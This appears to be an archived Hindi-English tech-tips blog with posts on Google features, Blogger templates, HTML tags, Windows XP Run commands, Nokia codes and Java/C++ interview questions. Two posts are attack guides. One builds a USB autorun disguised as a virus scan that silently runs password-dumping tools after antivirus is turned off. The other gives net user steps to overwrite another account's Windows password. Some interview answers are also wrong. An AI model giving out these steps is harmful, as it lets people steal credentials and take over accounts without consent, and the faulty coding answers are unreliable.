knowledge of guru

Multiple calls possible on Gmail

2011-07-21T09:35:00.000-07:00

गूगल ने फ़ोन कॉल की सुविधा तो प्रदान कर रक्खी थी ही लेकिन अब गूगल ने अब एक समय में एक से अधिक कॉल की भी सुविधा उपलब्ध करा दी है

गूगल के अनुसार, कॉल को रद किये बगेर ही आप दूसरी कॉल ले सकते है बस आप पहली कॉल को होल्ड पर रखिये और दूसरी कॉल का आनंद उठाइए

Google search now detecting viruses

2011-07-20T10:37:00.000-07:00

गूगल अब वायरस को खोज रहा है !!!

गूगल ने बहुत ही दिलचस्प घोषणा की है , की वायरस का पता लगने के लिए स्वयं के डेटा का उपयोग कर रहा है और आज से ही गूगल सर्च पेज पर चेतावनी दी जाएगी यदि आप का कंप्यूटर वायरस से संक्रमित हैं.

जो उपयोगकर्ता वायरस से संक्रमित होगा वो गूगल और दूसरी वेबसाइट को प्रोक्सी(proxy) के द्वारा प्रयोग कर पायेगा तथा उसके कंप्यूटर पर चेतावनी भी दिखाई जाएगी

How to add your blog to Google Blog Search

2011-01-31T12:45:00.000-08:00

यदि आप एक ब्लॉगर हैं और गूगल के ब्लॉगर का प्रयोग नहीं करते है तो इस इस्थी मै आप अपने ब्लॉग को, गूगल ब्लॉग के खोज परिणामो में दिखाने के लिए अनुमति ले सकते है | वह प्रक्रिया बहुत सरल है, बस इस पृष्ठ पर जाएँ [Google Blog Search Ping Service] और अपने ब्लॉग का यूआरएल / पता दर्ज करें और सबमिट ब्लॉग बटन पर क्लिक करें.

Swap title of your blog | (अपने ब्लॉग का शीर्षक बदलें)

2011-01-29T16:13:00.000-08:00

पोस्ट शीर्षक, की स्थिति के संबंध में है ब्लॉग नाम की स्थिति बदले :
नीचे दी गयी तस्वीरों के अनुसार :

पहले

बाद में

इन सरल चरणों का पालन करें:

1. अपने ब्लॉगर खाते में प्रवेश करें.

2. वांछित ब्लॉग के लेआउट विकल्प का चयन करें (आपके डैशबोर्ड से).

3. HTML खंड का संपादन करें

4. टेम्पलेट बॉक्स के तहत कोड प्राप्त करें जो की नीले रंग से लिखा है

और यह इस कोड के साथ बदलें:

और उसे सुरक्षित करे |

HTML Tags

2010-12-28T15:36:00.000-08:00

	HTML Tag Reference
Tag	Description
<html>	Defines an HTML document
<body>	Defines the document's body
<h1> to <h6>	Defines HTML headings
<hr />	Defines a horizontal line
<!-->	Defines a comment
<p>	Defines a paragraph
<br />	Inserts a single line break

	HTML Text Formatting Tags
<b>	Defines bold text
<big>	Defines big text
<em>	Defines emphasized text
<i>	Defines italic text
<small>	Defines small text
<strong>	Defines strong text
<sub>	Defines subscripted text
<sup>	Defines superscripted text
<ins>	Defines inserted text
<del>	Defines deleted text

	HTML "Computer Output" Tags
<code>	Defines computer code text
<kbd>	Defines keyboard text
<samp>	Defines sample computer code
<tt>	Defines teletype text
<var>	Defines a variable
<pre>	Defines preformatted text

	HTML Citations, Quotations, and Definition Tags
<abbr>	Defines an abbreviation
<acronym>	Defines an acronym
<address>	Defines contact information for the author/owner of a document
<bdo>	Defines the text direction
<blockquote>	Defines a long quotation
<q>	Defines a short quotation
<cite>	Defines a citation
<dfn>	Defines a definition term

	HTML Styles Tags
<center>	Defines centered content
<font> and <basefont>	Defines HTML fonts
<s> and <strike>	Defines strikethrough text
<u>	Defines underlined text
align	Defines the alignment of text
bgcolor	Defines the background color
color	Defines the text color

	HTML Link Tags
<a>	Defines an anchor


	HTML Image Tags
<img />	Defines an image
<map>	Defines an image-map
<area />	Defines a clickable area inside an image-map

	HTML Table Tags
<table>	Defines a table
<th>	Defines a table header
<tr>	Defines a table row
<td>	Defines a table cell
<caption>	Defines a table caption
<colgroup>	Defines a group of columns in a table, for formatting
<col />	Defines attribute values for one or more columns in a table
<thead>	Groups the header content in a table
<tbody>	Groups the body content in a table
<tfoot>	Groups the footer content in a table

	HTML List Tags
<ol>	Defines an ordered list
<ul>	Defines an unordered list
<li>	Defines a list item
<dl>	Defines a definition list
<dt>	Defines an item in a definition list
<dd>	Defines a description of an item in a definition list

	HTML Form Tags
<form>	Defines an HTML form for user input
<input />	Defines an input control
<textarea>	Defines a multi-line text input control
<label>	Defines a label for an input element
<fieldset>	Defines a border around elements in a form
<legend>	Defines a caption for a fieldset element
<select>	Defines a select list (drop-down list)
<optgroup>	Defines a group of related options in a select list
<option>	Defines an option in a select list
<button>	Defines a push button

	HTML Frame Tags
<frameset>	Defines a set of frames
<frame />	Defines a sub window (a frame)
<noframes>	Defines a noframe section for browsers that do not handle frames
<iframe>	Defines an inline sub window (frame)

Save The Tigers

2010-04-16T21:47:00.001-07:00

This Is Really good Posting

in reference to: Really Real wallpaper (view on Google Sidewiki)

How To Speed Up My Internet ?

2009-12-31T01:21:00.000-08:00

How To Speed Up My Internet ?

यहा पर बहूत से तरीके है speed up your internet connection. मै तुमे दीखाऊंगा की केसे Google public DNS का उपयोग कर के हम अपने internet connection की speed केसे बडाये !

DNS. Domain Name System (DNS) is a database system that translates a computer’s fully qualified domain name into an IP address.

Our ISP (Internet Service Provider) provide their DNS which are located at router. Sometimes DNS server of ISP is very slow then it takes so much time to find out the web address and open the website. To solve this problem you can replace your ISP’s DNS service with Google Public DNS by changing the settings of the network connection.

1) Go to Start -> Control Panel

2) Click on Network Connections in Control Panel

3) Right click on Local Area Connection and then click on Properties

4) Select Internet Protocol (TCP/IP) and then click on properties

5) Select Use the following DNS server addresses in filed Preferred DNS server type 8.8.8.8 and in Alternate DNS server type 8.8.4.4

Run Commands For Windows XP

2009-12-26T02:37:00.000-08:00

Run Commands For Windows XP
Program	Run Command
Accessibility Controls	access.cpl
Accessibility Wizard	accwiz
Add Hardware Wizard	hdwwiz.cpl
Add/Remove Programs	appwiz.cpl
Administrative Tools	control admintools
Adobe Acrobat ( if installed )	acrobat
Adobe Distiller ( if installed )	acrodist
Adobe ImageReady ( if installed )	imageready
Adobe Photoshop ( if installed )	photoshop
Automatic Updates	wuaucpl.cpl
Basic Media Player	mplay32
Bluetooth Transfer Wizard	fsquirt
Calculator	calc
Ccleaner ( if installed )	ccleaner
C: Drive	c:
Certificate Manager	cdrtmgr.msc
Character Map	charmap
Check Disk Utility	chkdsk
Clipboard Viewer	clipbrd
Command Prompt	cmd
Command Prompt	command
Component Services	dcomcnfg
Computer Management	compmgmt.msc
Compare Files	comp
Control Panel	control
Create a shared folder Wizard	shrpubw
Date and Time Properties	timedate.cpl
DDE Shares	ddeshare
Device Manager	devmgmt.msc
Direct X Control Panel ( if installed )	directx.cpl
Direct X Troubleshooter	dxdiag
Disk Cleanup Utility	cleanmgr
Disk Defragment	dfrg.msc
Disk Partition Manager	diskmgmt.msc
Display Properties	control desktop
Display Properties	desk.cpl
Display Properties (w/Appearance Tab Preselected )	control color
Dr. Watson System Troubleshooting Utility	drwtsn32
Driver Verifier Utility	verifier
Ethereal ( if installed )	ethereal
Event Viewer	eventvwr.msc
Files and Settings Transfer Tool	migwiz
File Signature Verification Tool	sigverif
Findfast	findfast.cpl
Firefox	firefox
Folders Properties	control folders
Fonts	fonts
Fonts Folder	fonts
Free Cell Card Game	freecell
Game Controllers	joy.cpl
Group Policy Editor ( xp pro )	gpedit.msc
Hearts Card Game	mshearts
Help and Support	helpctr
Hyperterminal	hypertrm
Hotline Client	hotlineclient
Iexpress Wizard	iexpress
Indexing Service	ciadv.msc
Internet Connection Wizard	icwonn1
Internet Properties	inetcpl.cpl
Internet Setup Wizard	inetwiz
IP Configuration (Display Connection Configuration)	ipconfig /all
IP Configuration (Display DNS Cache Contents)	ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents)	ipconfig /flushdns
IP Configuration (Release All Connections)	ipconfig /release
IP Configuration (Renew All Connections)	ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS)	ipconfig /registerdns
IP Configuration (Display DHCP Class ID)	ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID)	ipconfig /setclassid
Java Control Panel ( if installed )	jpicpl32.cpl
Java Control Panel ( if installed )	javaws
Keyboard Properties	control keyboard
Local Security Settings	secpol.msc
Local Users and Groups	lusrmgr.msc
Logs You Out of Windows	logoff
Malicious Software Removal Tool	mrt
Microsoft Access ( if installed )	access.cpl
Microsoft Chat	winchat
Microsoft Excel ( if installed )	excel
Microsoft Diskpart	diskpart
Microsoft Frontpage ( if installed )	frontpg
Microsoft Movie Maker	moviemk
Microsoft Management Console	mmc
Microsoft Narrator	narrator
Microsoft Paint	mspaint
Microsoft Powerpoint	powerpnt
Microsoft Word ( if installed )	winword
Microsoft Syncronization Tool	mobsync
Minesweeper Game	winmine
Mouse Properties	control mouse
Mouse Properties	main.cpl
MS-Dos Editor	edit
MS-Dos FTP	ftp
Nero ( if installed )	nero
Netmeeting	conf
Network Connections	control netconnections
Network Connections	ncpa.cpl
Network Setup Wizard	netsetup.cpl
Notepad	notepad
Nview Desktop Manager ( if installed )	nvtuicpl.cpl
Object Packager	packager
ODBC Data Source Administrator	odbccp32
ODBC Data Source Administrator	odbccp32.cpl
On Screen Keyboard	osk
Opens AC3 Filter ( if installed )	ac3filter.cpl
Outlook Express	msimn
Paint	pbrush
Password Properties	password.cpl
Performance Monitor	perfmon.msc
Performance Monitor	perfmon
Phone and Modem Options	telephon.cpl
Phone Dialer	dialer
Pinball Game	pinball
Power Configuration	powercfg.cpl
Printers and Faxes	control printers
Printers Folder	printers
Private Characters Editor	eudcedit
Quicktime ( if installed )	quicktime.cpl
Quicktime Player ( if installed )	quicktimeplayer
Real Player ( if installed )	realplay
Regional Settings	intl.cpl
Registry Editor	regedit
Registry Editor	regedit32
Remote Access Phonebook	rasphone
Remote Desktop	mstsc
Removable Storage	ntmsmgr.msc
Removable Storage Operator Requests	ntmsoprq.msc
Resultant Set of Policy ( xp pro )	rsop.msc
Scanners and Cameras	sticpl.cpl
Scheduled Tasks	control schedtasks
Security Center	wscui.cpl
Services	services.msc
Shared Folders	fsmgmt.msc
Sharing Session	rtcshare
Shuts Down Windows	shutdown
Sounds Recorder	sndrec32
Sounds and Audio	mmsys.cpl
Spider Solitare Card Game	spider
SQL Client Configuration	clicongf
System Configuration Editor	sysedit
System Configuration Utility	msconfig
System File Checker Utility ( Scan Immediately )	sfc /scannow
System File Checker Utility ( Scan Once At Next Boot )	sfc /scanonce
System File Checker Utility ( Scan On Every Boot )	sfc /scanboot
System File Checker Utility ( Return to Default Settings)	sfc /revert
System File Checker Utility ( Purge File Cache )	sfc /purgecache
System File Checker Utility ( Set Cache Size to Size x )	sfc /cachesize=x
System Information	msinfo32
System Properties	sysdm.cpl
Task Manager	taskmgr
TCP Tester	tcptest
Telnet Client	telnet
Tweak UI ( if installed )	tweakui
User Account Management	nusrmgr.cpl
Utility Manager	utilman
Volume Serial Number for C:	label
Volume Control	sndvol32
Windows Address Book	wab
Windows Address Book Import Utility	wabmig
Windows Backup Utility ( if installed )	ntbackup
Windows Explorer	explorer
Windows Firewall	firewall.cpl
Windows Installer Details	msiexec
Windows Magnifier	magnify
Windows Management Infrastructure	wmimgmt.msc
Windows Media Player	wmplayer
Windows Messenger	msnsgs
Windows Picture Import Wizard (Need camera connected)	wiaacmgr
Windows System Security Tool	syskey
Windows Script host settings	wscript
Widnows Update Launches	wupdmgr
Windows Version ( shows your windows version )	winver
Windows XP Tour Wizard	tourstart
Wordpad	write
Zoom Utility	igfxzoom

Make your pc speak whatever you type

2009-08-21T06:36:00.001-07:00

आज जो trick में बताने जा रहा हु वो educational purposes से बता रहा हु l

Now you can create your own text to speech converter software to make your computer speak whatever you type.

Copy the code given below in notepad and save it as anyname.vbs. Make sure that you save it as .vbs file.

Code are :-

Dim message, sapi
message=InputBox("What do you want me to say?","Speak to Me")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message

After making a vbs file just double click on that file and type anything you want in the textbox.

If you read more computer tricks click on this link http://etricks.in/

How to Find Passwords Using USB Drive

2009-03-31T04:58:00.000-07:00

आज जो trick में बताने जा रहा हु वो educational purposes से बता रहा हु
आज में तुम्हे बताउगा की कैसे हम USB Pen Drive का उपयोग कर के password find कर सकते है
जैसा की हम जानते है :-

Windows stores most of the passwords which are used on a daily basis,including
instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the files like this & show in picture - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

Now your rootkit is ready and you are all set to Find the passwords.

Now all the password Finding tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

NOTE: This procedure will only recover the stored passwords on the computer .

How to Hack a Windows XP Password

2009-03-24T05:41:00.000-07:00

आज जो trick में बताने जा रहा हु वो educational purposes से बता रहा हु

how to hack a windows XP password without any programs

Step 1: Click on Start, then on Run, and type in CMD, then hit enter.
Step 2: Now a black box will appear, type in net user and hit enter

Step 3: Now you'll notice how all the accounts on the computer will be displayed,
pick the account you want to hack.
Step 4: Now type in net user ACCOUNT NAME * and hit enter.
Step 5: It will ask you to replace the existing password, this is how we over-write
it.
Step 6:Type in your new password, and hit enter, now type it again, and hit enter
one last time.

DELETE AUTOMATICALLY TEMPORARY FOLDER

2009-03-24T00:08:00.000-07:00

Manually erase Temp Folder
1>Run REGEDIT
2>Type “%temp%” (without Quotes)
3>This will open Temp folder and then You can erase it.

हम Temp की file को समय-समय पर हटते रहते है पर अब हमें अब Temp की file हटाने के लिए , Delete करने की जरूरत नहीं है क्योकि अब हम सेटिंग से disable कर देंगे जिससे temp file अपने आप ही delete हो जायेगी

By Setting

1> Run gpedit.msc
2> Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder

3> Then right click “Do Not Delete Temp Folder Upon Exit”
4> Then go to properties and hit disable. Now next time Windows puts a temp file
in that folder it will automatically delete it when its done!

Nokia Code function

2009-03-21T06:09:00.000-07:00

*3370# This Nokia code activates Enhanced Full Rate Codec (EFR) - Your Nokia cell phone uses the best sound quality but talk time is reduced my approx. 5%

#3370# Deactivate Enhanced Full Rate Codec (EFR) .
*#4720# Activate Half Rate Codec - Your phone uses a lower quality sound but you should gain approx 30% more Talk Time.
*#4720# With this Nokia code you can deactivate the Half Rate Codec.
*#0000# Displays your phones software version, 1st Line : Software Version, 2nd Line : Software Release Date, 3rd Line : Compression Type .
*#9999# Phones software version if *#0000# does not work.
*#06# For checking the International Mobile Equipment Identity (IMEI Number) .
#pw+1234567890+1# Provider Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols).

#pw+1234567890+2# Network Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols) .
#pw+1234567890+3# Country Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols).
#pw+1234567890+4# SIM Card Lock Status. (use the "*" button to obtain the "p,w" and "+" symbols) .
*#147# This lets you know who called you last (Only vodofone).
*#1471# Last call (Only vodofone) .
*#21# This phone code allows you to check the number that "All Calls" are diverted to.
*#2640# Displays phone security code in use .
*#30# Lets you see the private number.
*#43# Allows you to check the "Call Waiting" status of your cell phone.
*#61# Allows you to check the number that "On No Reply" calls are diverted to .
*#62# Allows you to check the number that "Divert If Unreachable (no service)" calls are diverted to .
*#67# Allows you to check the number that "On Busy Calls" are diverted to
*#67705646# Phone code that removes operator logo on 3310 & 3330
*#73# Reset phone timers and game scores.
*#746025625# Displays the SIM Clock status, if your phone supports this power saving feature "SIM Clock Stop Allowed", it means you will get the best standby time possible .
*#7760# Manufactures code.
*#7780# Restore factory settings.
*#8110# Software version for the nokia 8110.
*#92702689# Displays - 1.Serial Number, 2.Date Made, 3.Purchase Date, 4.Date of last repair (0000 for no repairs), 5.Transfer User Data. To exit this mode you need to switch your phone off then on again.
*#94870345123456789# Deactivate the PWM-Mem.
**21*number# Turn on "All Calls" diverting to the phone number entered.
**61*number# Turn on "No Reply" diverting to the phone number entered .
**67*number# Turn on "On Busy" diverting to the phone number entered .
12345 This is the default security code .

Core java Questions and Answers Asked at MNC Interview

2009-03-17T06:24:00.000-07:00

Q.What is an Iterator?

Answer: Some of the collection classes provide traversal of their contents via a java.util.Iterator interface. This interface allows you to walk through a collection of objects, operating on each object in turn. Remember when using Iterators that they contain a snapshot of the collection at the time the Iterator was obtained; generally it is not advisable to modify the collection itself while traversing an Iterator.

Q.What is the difference between an Interface and an Abstract class?

Answer: An abstract class can have instance methods that implement a default behavior. An Interface can only declare constants and instance methods, but cannot implement default behavior and all methods are implicitly abstract. An interface has all public members and no implementation. An abstract class is a class which may have the usual flavors of class members (private, protected, etc.), but has some abstract methods.

Q.What is the purpose of garbage collection in Java, and when is it used?

Answer: The purpose of garbage collection is to identify and discard objects that are no longer needed by a program so that their resources can be reclaimed and reused. A Java object is subject to garbage collection when it becomes unreachable to the program in which it is used.

Q.Describe synchronization in respect to multi threading.

Answer: With respect to multi threading, synchronization is the capability to control the access of multiple threads to shared resources. Without synchronization, it is possible for one thread to modify a shared variable while another thread is in the process of using or updating same shared variable. This usually leads to significant errors.

Q. Explain different way of using thread?

Answer: The thread could be implemented by using runnable interface or by inheriting from the Thread class. The former is more advantageous, 'cause when you are going for multiple inheritance..the only interface can help.

Q.What are pass by reference and pass by value?

Answer: Pass By Reference means the passing the address itself rather than passing the value. Pass by Value means passing a copy of the value to be passed.

Q. What is HashMap and Map?

Answer: Map is Interface and Hashmap is class that implements that.

Q.Difference between HashMap and HashTable?

Answer: The HashMap class is roughly equivalent to Hashtable, except that it is unsynchronized and permits nulls. (HashMap allows null values as key and value whereas Hashtable doesnt allow). HashMap does not guarantee that the order of the map will remain constant over time. HashMap is unsynchronized and Hashtable is synchronized.

Q.Difference between Vector and ArrayList?

Answer:Vector is synchronized whereas arraylist is not.

Q.Difference between Swing and Awt?

Answer: AWT are heavy-weight componenets. Swings are light-weight components. Hence swing works faster than AWT.

Q.State the significance of public, private, protected, default modifiers both singly and in combination and state the effect of package relationships on declared items qualified by these modifiers.

Answer: public : Public class is visible in other packages, field is visible everywhere (class must be public too)

private : Private variables or methods may be used only by an instance of the same class that declares the variable or method, A private feature may only be accessed by the class that owns the feature.

protected : Is available to all classes in the same package and also available to all subclasses of the class that owns the protected feature.This access is provided even to subclasses that reside in a different package from the class that owns the protected feature.

default :What you get by default ie, without any access modifier (ie, public private or protected).It means that it is visible to all within a particular package.

Q.What is an abstract class?

Answer: Abstract class must be extended/subclassed (to be useful). It serves as a template. A class that is abstract may not be instantiated (ie, you may not call its constructor), abstract class may contain static data. Any class with an abstract method is automatically abstract itself, and must be declared as such.

A class may be declared abstract even if it has no abstract methods. This prevents it from being instantiated.

Q.What is final?

Answer:A final class can't be extended ie., final class may not be subclassed. A final method can't be overridden when its class is inherited. You can't change value of a final variable (is a constant).

Q.The Java read() method reads and returns a single byte from the standard input device. It

stores that byte according to what type. What does the method return if the user enters an eof?

Answer:The Java read() method reads and returns a single byte from the standard input device and stores that byte

in an integer. It returns an integer value of -1 if the user enters an eof.

Q.What keystroke combination can be used to simulate an eof at the keyboard of a DOS system?

Answer:An eof can be simulated on a DOS system keyboard by holding down the ctrl key and pressing the z key.

Q.Provide a Java code fragment illustrating how you would read a stream of bytes from the

standard input device until encountering an eof and quit reading when the eof is encountered.

Answer:The following Java code fragment will read a stream of bytes from the standard input device until

encountering an eof.

while(System.in.read() != -1) { //do something }

This code fragment accesses the read()method of the object referred to by the class variable named in of the

class named System.

Q. Provide a Java code fragment illustrating two different ways to display a String argument on the

Java standard output device. Explain how your code works in object-oriented terms. Make certain

that you explain the difference between the two.

Answer:The following two code fragments will each display a string argument on the Java standard output device.

System.out.println("String argument")

System.out.print("String argument")

In the first case, the code fragment accesses the println() method of the object referred to by the class variable

named out of the class named System. In the second case, the print() method is accessed instead of the println() method.

The difference between the two is that the println() method automatically inserts a newlineat the end of the

string argument whereas the print() method leaves the display cursor at the end of the string argument.

Recent - JAVA Interview Q/A

2009-03-17T06:04:00.000-07:00

Q : What is the difference between Java platform and other platforms?

A : The Java platform differs from most other platforms in that it's a software-only platform that runs on top of other hardware-based platforms.

The Java platform has two components:

1. The Java Virtual Machine (Java VM)

2. The Java Application Programming Interface (Java API)

Q : What is Java Virtual Machine?

A : The Java Virtual Machine is a software that can be ported onto the various hardware-based platforms.

Q : What is the package? Define with an example?

A : A package is a grouping of related types providing access protection and name space management. Note that types refers to classes, interfaces, enumerations, and annotation types. Enumerations and annotation types are special kinds of classes and interfaces, respectively, so types are often referred to in this lesson simply as classes and interfaces.

Package is a directory of related classes and interfaces.

Eg: java.lang.*

Here java is a directory,lang stands for language & it is a sub directory, * indicates collection of related classes & interfaces

Q : What is the difference between the interface and abstract class?

A : An abstract class may contain code in method bodies, which is not allowed in an interface. With abstract classes, you have to inherit your class from it and Java does not allow multiple inheritance. On the other hand, you can implement multiple interfaces in your class.

Q : What is the thread?

A : A thread is an independent path of execution in a system.

Q :What is the multi-threading?

A: Multi-threading means various threads that runs in a system.

Q : What is the synchronization ? why is it important in Java Programming?

A : With respect to multithreading, synchronization is the capability to control the access of multiple threads to shared resources. Without synchronization, it is an possible for one thread to modify a shared object while another thread is in the process of using or updating that object’s value. This often causes dirty data and leads to significant errors.

Q : What is the purpose of Runtime class in Java Programming?

A :The purpose of Runtime class is to provide access to the Java runtime system in Java Programming.

Q :Describe difference between a static and a non-static inner class in Java Programming?

A non-static inner class may have object instances that are associated with instances of the class’s outer class. A static inner class does not have any other object instances.

Q : Name the primitive Java types?

A : The primitive types are,

byte, char, short, int, long, float, double, and boolean.

Q : What is the casting in Java Programming?

A : There are two types of casting, casting between primitive numeric types and casting between object references.

Casting between numeric types is used to convert larger values, such as double values, to smaller values, such as byte values. Casting between object references is used to refer the object by a compatible class, interface, or array type reference.

Q : What are the Encapsulation, Inheritance and Polymorphism?

A : Encapsulation is the mechanism that binds together code and data it manipulates and keeps both safe from outside interference and misuse.

Inheritance is the process by which one object acquires the properties of another object. Polymorphism is the feature that allows one interface to be used for general class actions.

Q : What is the difference between constructor and method?

A : Constructor will be automatically invoked when an object is created where as the method has to be called explicitly.

Q: What is a UNICODE?-

A : A Unicode is used for internal representation of characters and strings and it uses 16 bits to represent each other.

Q : What is a abstract class?

A :A abstract class is a class designed with implementation gaps for subclasses to fill in and is deliberately incomplete.

Q : What is daemon thread ? which the method is used to create the daemon thread?-

A: Daemon thread is a low priority thread which runs intermittently in the back ground doing the garbage collection operation for the java runtime system.

SetDaemon method is used to create a daemon thread.

Q: What are the wrapper classes?

A : The Wrapper classes are classes that allow primitive types to be accessed as objects.

Q : What is the difference between applet and a servlet?

A : Servlets are to servers what applets are to browsers.

Applets must have graphical user interfaces whereas servlets have no graphical user interfaces.

Q :What are the cookies ?

A : Cookies are a mechanism that a servlet uses to have a client hold a small amount of state-information associated with the user.

Q :What is Java Bean?

A : Java Bean is a software component that has been designed to be reusable in a variety of different environments.

Basic C++ Interview Questions & Answers

2009-03-17T05:56:00.000-07:00

Q : How do youn delete an element in array of string?

A : Reduce the array size.

if(stringarryname)

{

delete[] stringarryname;

delete stringarryname;

stringarryname = NULL;

}

Q : What is the difference between an overload assignment operator and an a copy constructor?

A :. An overloaded assignment operator assigns the contents of an existing object to another existing object of the same class. A copy constructor constructs a new object by using the content of the argument object

Q :What is the virtual destructor?

A : The virtual destructor is one that is declared with the virtual attribute.

The behavior of a virtual destructor is what is important. If you destroy an object through a baler or reference to a base class, and the base-class destructor is not virtual, the derived-class destructors are not executed, and the destruction might not be compile.

Q: What is the Difference between C and C ++?

A : C is a structured programming language. The C++ is an object oriented language. C++ is also called as C with Classes.

both C and C++ are programming languages. C++ is termed as superset of C.

C is a powerful and elegent language.almost all c PROGRAMS ARE ALSO c++ PROGRAMS. C, it facilitates--" topdown structured design" as against C++ provides bottom-up object-oriented design. C language is built from functions (like printf)that execute different tasks.

Q : Difference between a template class and class template in C++?

A : Template class: A generic definition or a parametrized class not instantiated until the client provides the needed information. It is the jargon for plain templates.

Class template: A class template specifies how individual classes can be constructed much like the way a class specifies how individual objects can be constructed. It is jargon for plain classes.

Q : What is the polymorphism in C++?

A : Polymorphism in the C++ is the idea that a base class can be inherited by several classes. A base class pointer can point to its child class and base class array can store different child class objects.

The Questions What You can expect at Java Interview

2009-03-17T05:38:00.000-07:00

Q - You must use the new operator to instantiate an object of type Class: True or False? If false,

explain why.

A - False. There is no public constructor for the class Class. Class objects are constructed automatically by the

Java Virtual Machine as classes are loaded and or by calls to the defineClass method in the class loader.

Q - The Class class provides a toString() method which can be used to convert all objects known

to the compiler to some appropriate string representation. The actual string representation depends

on the type of object: True or False? If false, explain why.

A - False. The Object class (not the Class class) provides a toString() method which can be used to convert all objects known to the compiler to some appropriate string representation. The actual string representation

depends on the type of object.

Q - You can override the toString() method of the Class class to cause it to convert objects of

your design to strings: True or False? If false, explain why.

A - False. The toString() method is a method of the Object class, not the Class class.

Q - By default, all classes in Java are either direct or indirect descendants of the Class class which is

at the top of the inheritance hierarchy: True or False? If false, explain why.

A - False. By default, all classes in Java are either direct or indirect descendants of the Object class (not the Class class) which is at the top of the inheritance hierarchy.

Q - To a limited extent, the interface concept allows you to treat a number of objects, instantiated

from different classes, as if they were all of the same type: True or False? If false, explain why.

A - True.

Q - At its simplest level, an interface definition has a name, and declares one or more methods:

True or False? If false, explain why.

A - True.

Q- In an interface definition, both the method signatures and the actual implementations (bodies) of

the methods are provided: True or False? If false, explain why.

A - False. Only the method signatures are provided. The actual implementations (bodies) of the methods are not provided.

Q - An interface definition can contain only method declarations: True or False? If false, explain

why.

A - False. In addition to method declarations, an interface can also declare constants. Nothing else may be

included inside the body of an interface definition.

Q - If classes P, D, and Q all implement interface X, a reference variable for an object of class P,

D, or Q could be assigned to a reference variable of type X: True or False? If false, explain why.

A - True.

Q - If classes P, D, and Q all implement interface X, then all of the methods declared in X must be

exactly the same in classes P, D, and Q: True or False? If false, explain why.

A - False. The interface simply declares the signatures for methods. Classes that implement the interface are free to provide a body for those methods which best suits the needs of the class.

Q - If classes P, D, and Q all implement interface X a reference variable for an object of class P,

D, or Q could be assigned to a reference variable of type X and that reference variable could be

used to access all of the methods of the class (which are not excluded using public, private, or

protected): True or False? If false, explain why.

A - False. If one or more of the classes P, D, and Q, define instance methods which are not declared in the

interface X, then a variable of type X cannot be used to access those instance methods. Those methods can only be accessed using a reference variable of the class in which the method is defined. Reference variables of the type X can only be used to access methods declared in the interface X (or one of its superinterfaces).

Q - The new operator must be used to instantiate an object which is of the type of an interface: True

or False? If false, explain why.

A - False. Even though you can consider the interface name as a type for purposes of storing references to

objects, you cannot instantiate an object of the interface type itself.

Q - One of the difficulties of implementing interfaces is the requirement to coordinate the definition of

interface methods among the classes that implement the interface: True or False? If false, explain

why.

A - False. In defining interface methods, each class defines the methods in a manner that is appropriate to its own

class without concern for how it is defined in other classes.

Q - As with classes, multiple interface definitions can be combined into the same source file: True or

False? If false, explain why.

A- False. The compiler requires interface definitions to be in separate files.

Q - List four ways in which interfaces are useful:

A - See the following list:

To a limited extent, the interface concept allows you to treat a number of objects, instantiated from

different classes, as if they were all of the same type

Capturing similarities between unrelated classes without forcing a class relationship

Declaring methods that one or more classes are expected to implement

Revealing an object's programming interface without revealing its class (objects such as these are called

anonymous objects and can be useful when shipping a package of classes to other developers)

C++ Interview questions & Answers

2009-03-17T05:32:00.000-07:00

Q : Explain in void pointer using C++?
A : In C++, void represents the absence of type, so void the pointers are pointers that point to a value that has no type. The void pointers can point to any data type.
We can declare void pointer as follows.
Void *p;

Q : What is the function overloading in C++?
A : You can have the multiple functions with same name using function overloading facility of C++. You can use same name for multiple functions when all these functions are doing same thing.

Q : What is virtual function?
Answer - Virtual function is the member function of a class that can be overridden in its derived class. It is declared with virtual keyword. Virtual function call is resolved at run-time (dynamic binding) whereas the non-virtual member functions are resolved at compile time (static binding).

Q : What is Null object in C++?
A : Null Object is an object of some class whose purpose is to indicate that a real object of that class does not exist. One common use for a null object is a return value from a member of function that is supposed to return an object with some specified properties but cannot find such an object.

Q : What is virtual function? where is it used?
A : Virtual function is a member of function that is declared by with in a base class and redefined by the derived class. to make a function virtual prefix the function name by the "virtual" keyword. It helps in polymorphism.

Q : what is a template
A template function defines a set of operations to performed on the various data types This data is passed to the function as an argument

Q : What do you mean by the inheritance?
A : The Inheritance is the process by which one can aquire the properties of another object

Q : Explain the scope resolution operator?
A: The scope resolution operator is a permits of a program to reference an identifier in the global scope that has been hidden by another identifier with the same name in the local scope.

Q : What is parameterized type?
A : : A template is a parameterized construct or type containing the generic code that can use or manipulate any type. It is called the parameterized because an actual type is a parameter of the code body. Polymorphism may be achieved through parameterized types. This type of polymorphism is called parameteric polymorphism. Parameteric polymorphism is the mechanism by which the same code is used on different types passed as parameters.

Q : Explain the scope resolution operator?
A :Resolution operator permits a program to reference an identifier in the global scope that has been hidden by another identifier with the same name in the local scope.

Q : Name of the some pure object oriented languages?
A : Some pure object oriented languages are
• Smalltalk,
• Java,
• Eiffel,
• Sather.

Q : Differentiate between a C++ struct and C++ class?
